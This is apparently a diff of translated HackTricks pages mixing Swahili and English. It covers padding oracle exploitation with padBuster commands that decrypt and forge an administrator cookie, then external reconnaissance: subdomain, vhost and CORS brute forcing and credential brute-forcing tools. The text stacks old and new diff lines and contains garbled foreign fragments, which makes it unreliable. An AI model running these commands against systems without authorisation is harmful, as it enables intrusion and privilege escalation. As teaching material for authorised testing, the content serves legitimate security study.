Wakati programu inapotafsiri data zilizofichwa, kwanza itatafsiri data; kisha itatoa padding. Wakati wa kusafisha padding, ikiwa **padding isiyo sahihi inasababisha tabia inayoweza kugundulika**, una **udhaifu wa padding oracle**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu lenye mwendo polepole**.
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Ikiwa unagundua tabia hii, unaweza **kufungua data iliyofichwa** na hata **kuficha maandiko yoyote**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
### How to exploit
@ -65,23 +63,23 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
```
**Encoding 0** inamaanisha kwamba **base64** inatumika (lakini zingine zinapatikana, angalia menyu ya msaada).
Unaweza pia **kutumia udhaifu huu kuandika data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", kisha unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo kwa kutumia `paduster`ukitaja -plaintext** parameter:
Unaweza pia **kutumia udhaifu huu kubadilisha data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", kisha unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo kwa kutumia `paduster`ukitaja -plaintext** parameter:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Ikiwa tovuti ina udhaifu `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuonyesha ujumbe wa kosa hilo ukitumia **-error** parameter.
Ikiwa tovuti ina udhaifu `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuashiria ujumbe wa kosa hilo ukitumia **-error** parameter.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Nadharia
Kwa **muhtasari**, unaweza kuanza kufungua data iliyosimbwa kwa kukisia thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti**. Kisha, shambulio la padding oracle litaanza kufungua byte kutoka mwisho hadi mwanzo kwa kukisia ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
Kwa **muhtasari**, unaweza kuanza kufungua data iliyosimbwa kwa kubashiri thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti**. Kisha, shambulio la padding oracle litaanza kufungua byte kutoka mwisho hadi mwanzo kwa kubashiri ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
![](<../.gitbook/assets/image (561).png>)
Fikiria una maandiko yaliyosimbwa yanayochukua **blocks 2** yaliyoundwa na byte kutoka **E0 hadi E15**.\
Ili **kufungua** **block** ya **mwisho** (**E8** hadi **E15**), block nzima inapita kupitia "block cipher decryption" ikizalisha **byte za kati I0 hadi I15**.\
Hatimaye, kila byte ya kati inafanywa **XOR** na byte zilizopita zilizokuwa zimefungwa (E0 hadi E7). Hivyo:
Hatimaye, kila byte ya kati inafanywa **XOR** na byte zilizopita zilizofichwa (E0 hadi E7). Hivyo:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -95,7 +93,7 @@ Hivyo, kupata E'7, inawezekana **kuhesabu I15**: `I15 = 0x01 ^ E'7`
Ambayo inaturuhusu **kuhesabu C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Kujua **C15**, sasa inawezekana **kuhesabu C14**, lakini wakati huu kwa kuburuza padding `\x02\x02`.
Kujua **C15**, sasa inawezekana **kuhesabu C14**, lakini wakati huu kwa kubashiri padding `\x02\x02`.
Hii BF ni ngumu kama ile ya awali kwani inawezekana kuhesabu `E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo inahitajika tu kupata **`E'14`** inayozalisha **`C14` inayolingana na `0x02`**.\
Kisha, fanya hatua hizo hizo kufungua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
@ -105,7 +103,7 @@ Kisha, fanya hatua hizo hizo kufungua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
### Ugunduzi wa udhaifu
Jisajili na ujiandikishe na akaunti hii.\
Ikiwa unafanya **kuingia mara nyingi** na kila wakati unapata **keki ile ile**, kuna uwezekano wa **kitu** **kosi** katika programu. **Keki inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa keki ni **daima** ile **ile**, kuna uwezekano itakuwa daima halali na hakuna **njia ya kuifuta**.
Ikiwa unafanya **kuingia mara nyingi** na kila wakati unapata **keki ile ile**, kuna uwezekano wa **kitu** **kibaya** katika programu. **Keki inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa keki ni **daima** ile **ile**, kuna uwezekano itakuwa daima halali na hakuna **njia ya kuifuta**.
Sasa, ikiwa unajaribu **kubadilisha** **keki**, unaweza kuona unapata **kosa** kutoka kwa programu.\
Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupata keki nyingine halali kwa mtumiaji tofauti. Hali hii ina uwezekano mkubwa wa kuwa na udhaifu kwa padbuster.
@ -114,13 +112,11 @@ Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupa
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Ugunduzi wa Mali
> Kwa hivyo ulisemwa kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki.
> Kwa hivyo ulisema kwamba kila kitu kinachomilikiwa na kampuni fulani kiko ndani ya upeo, na unataka kubaini ni nini kampuni hii inamiliki.
Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kisha **mali** za makampuni haya. Ili kufanya hivyo, tutafanya:
@ -35,7 +35,7 @@ Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kish
### **Ununuzi**
Kwanza kabisa, tunahitaji kujua ni **makampuni gani mengine yanayomilikiwa na kampuni kuu**.\
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Hapo utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Huko utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta **ununuzi**.
> Sawa, katika hatua hii unapaswa kujua makampuni yote ndani ya upeo. Hebu tuone jinsi ya kupata mali zao.
@ -45,7 +45,7 @@ Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
**AS** inajumuisha **vizuizi** vya **anwani za IP** ambazo zina sera iliyofafanuliwa wazi kwa kufikia mitandao ya nje na zinatawaliwa na shirika moja lakini zinaweza kuwa na waendeshaji kadhaa.
Ni ya kuvutia kugundua ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
Ni ya kuvutia kupata ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Kulingana na eneo la kampuni, viungo hivi vinaweza kuwa na manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kusini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote** muhimu **(anuwai za IP na Whois)** tayari zinaonekana katika kiungo cha kwanza.
```bash
@ -77,52 +77,52 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
Katika hatua hii tunajua **rasilimali zote ndani ya upeo**, hivyo ikiwa umepewa ruhusa unaweza kuzindua **scanner ya udhaifu** (Nessus, OpenVAS) juu ya mwenyeji wote.\
Pia, unaweza kuzindua baadhi ya [**skana za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) **au tumia huduma kama** shodan **kupata** bandari wazi **na kulingana na kile unachokipata unapaswa** kuangalia katika kitabu hiki jinsi ya pentest huduma kadhaa zinazoweza kukimbia.\
**Pia, inaweza kuwa na faida kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za jina la mtumiaji **na** nywila **za kawaida na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
**Pia, inaweza kuwa na maana kutaja kwamba unaweza pia kuandaa baadhi ya** orodha za majina ya mtumiaji ya kawaida **na** nywila **na kujaribu** bruteforce huduma na [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domains
> Tunajua kampuni zote ndani ya upeo na rasilimali zao, ni wakati wa kutafuta majina ya kikoa ndani ya upeo.
_Tafadhali, kumbuka kwamba katika mbinu zilizopendekezwa hapa chini unaweza pia kupata subdomains na kwamba taarifa hiyo haipaswi kupuuziliwa mbali._
_Tafadhali, kumbuka kwamba katika mbinu zilizopendekezwa zifuatazo unaweza pia kupata subdomains na kwamba taarifa hiyo haipaswi kupuuziliwa mbali._
Kwanza kabisa unapaswa kutafuta **kikoa kikuu**(s) cha kila kampuni. Kwa mfano, kwa _Tesla Inc._ itakuwa _tesla.com_.
### **Reverse DNS**
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina zaidi ya kikoa ndani ya upeo**. Jaribu kutumia seva ya dns ya mwathirika au seva maarufu ya dns (1.1.1.1, 8.8.8.8)
Kama umepata anuwai zote za IP za majina ya kikoa unaweza kujaribu kufanya **reverse dns lookups** kwenye hizo **IPs ili kupata majina zaidi ya kikoa ndani ya upeo**. Jaribu kutumia baadhi ya seva za dns za mwathirika au seva maarufu za dns (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Kwa hili kufanyika, msimamizi lazima aweke kwa mikono PTR.\
Unaweza pia kutumia chombo cha mtandaoni kwa habari hii: [http://ptrarchive.com/](http://ptrarchive.com)
For this to work, the administrator has to enable manually the PTR.\
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
### **Reverse Whois (loop)**
Ndani ya **whois** unaweza kupata habari nyingi za kuvutia kama **jina la shirika**, **anwani**, **barua pepe**, nambari za simu... Lakini kinachovutia zaidi ni kwamba unaweza kupata **mali zaidi zinazohusiana na kampuni** ikiwa utatekeleza **reverse whois lookups kwa yoyote ya hizo** (kwa mfano, rejista nyingine za whois ambapo barua pepe hiyo inaonekana).\
Unaweza kutumia zana za mtandaoni kama:
Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Bila malipo**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Bila malipo**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Bila malipo**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Bila malipo** mtandaoni, si bure API.
* [https://www.whoxy.com/](https://www.whoxy.com) - **Bila malipo** web, si bure API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Si bure
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Si Bure (tu **100 bure** utafutaji)
* [https://www.domainiq.com/](https://www.domainiq.com) - Si Bure
Unaweza kujiandaa kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
Unaweza pia kutekeleza ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Kumbuka kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapata kikoa kipya.**
**Note that you can use this technique to discover more domain names every time you find a new domain.**
### **Trackers**
Ikiwa unapata **ID sawa ya tracker sawa** katika kurasa 2 tofauti unaweza kudhani kwamba **kurasa zote mbili** zinasimamiwa na **timu moja**.\
Kwa mfano, ikiwa unaona **Google Analytics ID** sawa au **Adsense ID** sawa kwenye kurasa kadhaa.
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
There are some pages and tools that let you search by these trackers and more:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -132,16 +132,16 @@ Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
### **Favicon**
Je, ulijua kwamba tunaweza kupata majina ya kikoa na sub domains zinazohusiana na lengo letu kwa kutafuta hash ya ikoni ya favicon sawa? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Heres how to use it:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - gundua maeneo yenye hash sawa ya favicon icon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Kwa maneno rahisi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
Kwa kifupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
Zaidi ya hayo, unaweza pia kutafuta teknolojia ukitumia hash ya favicon kama ilivyoelezwa katika [**hiki kipande cha blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Hii inamaanisha kwamba ikiwa unajua **hash ya favicon ya toleo lenye udhaifu la teknolojia ya wavuti** unaweza kutafuta katika shodan na **kupata maeneo mengine yenye udhaifu**:
Zaidi ya hayo, unaweza pia kutafuta teknolojia ukitumia hash ya favicon kama ilivyoelezwa katika [**hiki kipande cha blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Hii inamaanisha kwamba ikiwa unajua **hash ya favicon ya toleo lenye udhaifu la teknolojia ya wavuti** unaweza kutafuta ikiwa katika shodan na **kupata maeneo mengine yenye udhaifu**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -178,7 +178,7 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
### **Passive Takeover**
Kwa kweli ni kawaida kwa watu kupeana subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa unachukua **subdomains kadhaa**.
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
@ -188,29 +188,29 @@ Kwa kweli ni kawaida kwa watu kupeana subdomains kwa IPs ambazo zinamilikiwa na
**Shodan**
Kama unavyojua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo katika shodan ukitumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa majina mapya yasiyotarajiwa katika cheti cha TLS.
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
Unaweza kufikia **cheti cha TLS** cha ukurasa mkuu, kupata **jina la Shirika** na kisha kutafuta jina hilo ndani ya **vyeti vya TLS** vya kurasa zote za wavuti zinazojulikana na **shodan** kwa kichujio: `ssl:"Tesla Motors"` au tumia chombo kama [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)ni chombo kinachotafuta **domains related** na domain kuu na **subdomains** zake, ni ya kushangaza sana.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
### **Looking for vulnerabilities**
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Labda kampuni fulani inatumia **domain fulani** lakini wame **poteza umiliki**. Jisajili (ikiwa ni ya bei nafuu) na uwajulishe kampuni hiyo.
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
Ikiwa utapata **domain yoyote yenye IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya **uchunguzi wa msingi wa udhaifu** (ukitumia Nessus au OpenVAS) na baadhi ya [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) kwa **nmap/masscan/shodan**. Kulingana na huduma zipi zinazoendesha unaweza kupata katika **kitabu hiki hila za "kushambulia" hizo**.\
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**Bug bounty tip**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na uanze kupata zawadi hadi **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomains
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
> Tunajua kampuni zote ndani ya upeo, mali zote za kila kampuni na majina yote ya domain yanayohusiana na kampuni hizo.
Ni wakati wa kutafuta subdomains zote zinazowezekana za kila domain iliyopatikana.
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
### **DNS**
Tujaribu kupata **subdomains** kutoka kwa rekodi za **DNS**. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash
dnsrecon -a -d tesla.com
```
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** inapata URL zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
* [**gau**](https://github.com/lc/gau)**:** inapata URLs zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -340,7 +340,7 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) ina API ya bure kutafuta subdomains na historia ya IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo uliofanywa na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo unaotumika na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Unaweza kupata **kulinganisha** ya zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@ -356,7 +356,7 @@ Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida ka
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Na pia IP za waamuzi wazuri wa DNS. Ili kuunda orodha ya waamuzi wa DNS waliotegemewa unaweza kupakua waamuzi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Na pia IP za waamuzi wazuri wa DNS. Ili kuunda orodha ya waamuzi wa DNS wanaotegemewa unaweza kupakua waamuzi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Zana zinazopendekezwa zaidi kwa DNS brute-force ni:
@ -412,15 +412,15 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
#### Uzalishaji wa permutations smart
#### Uzalishaji wa permutations za akili
* [**regulator**](https://github.com/cramppet/regulator): Kwa maelezo zaidi soma hii [**post**](https://cramppet.github.io/regulator/index.html) lakini k基本 itapata **sehemu kuu** kutoka kwa **subdomain zilizogunduliwa** na itazichanganya ili kupata subdomain zaidi.
* [**regulator**](https://github.com/cramppet/regulator): Kwa maelezo zaidi soma hii [**post**](https://cramppet.github.io/regulator/index.html) lakini kimsingi itapata **sehemu kuu** kutoka kwa **subdomain zilizogunduliwa** na itazichanganya ili kupata subdomain zaidi.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina zaidi yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyobinafsishwa au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
```
echo www | subzuf facebook.com
```
@ -442,7 +442,7 @@ Unaweza kupata baadhi ya **VHosts katika IPs kwa kutumia** [**HostHunter**](http
**Brute Force**
Ikiwa unashuku kuwa subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
Ikiwa unashuku kwamba subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -457,12 +457,12 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
Kwa mbinu hii unaweza hata kufikia mwisho wa ndani/uliokhidden.
Kwa mbinu hii unaweza hata kufikia mwisho wa ndani/uliok escondido.
{% endhint %}
### **CORS Brute Force**
Wakati mwingine utapata kurasa ambazo hurudisha tu kichwa _**Access-Control-Allow-Origin**_ wakati jina halali la kikoa/subdomain limewekwa katika kichwa _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii vibaya ili **kuvumbua** **subdomains** mpya.
Wakati mwingine utapata kurasa ambazo hurudisha tu kichwa _**Access-Control-Allow-Origin**_ wakati kikoa/chini ya kikoa halali kimewekwa katika kichwa _**Origin**_. Katika hali hizi, unaweza kutumia tabia hii vibaya ili **gundua** **chini ya kikoa** mpya.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
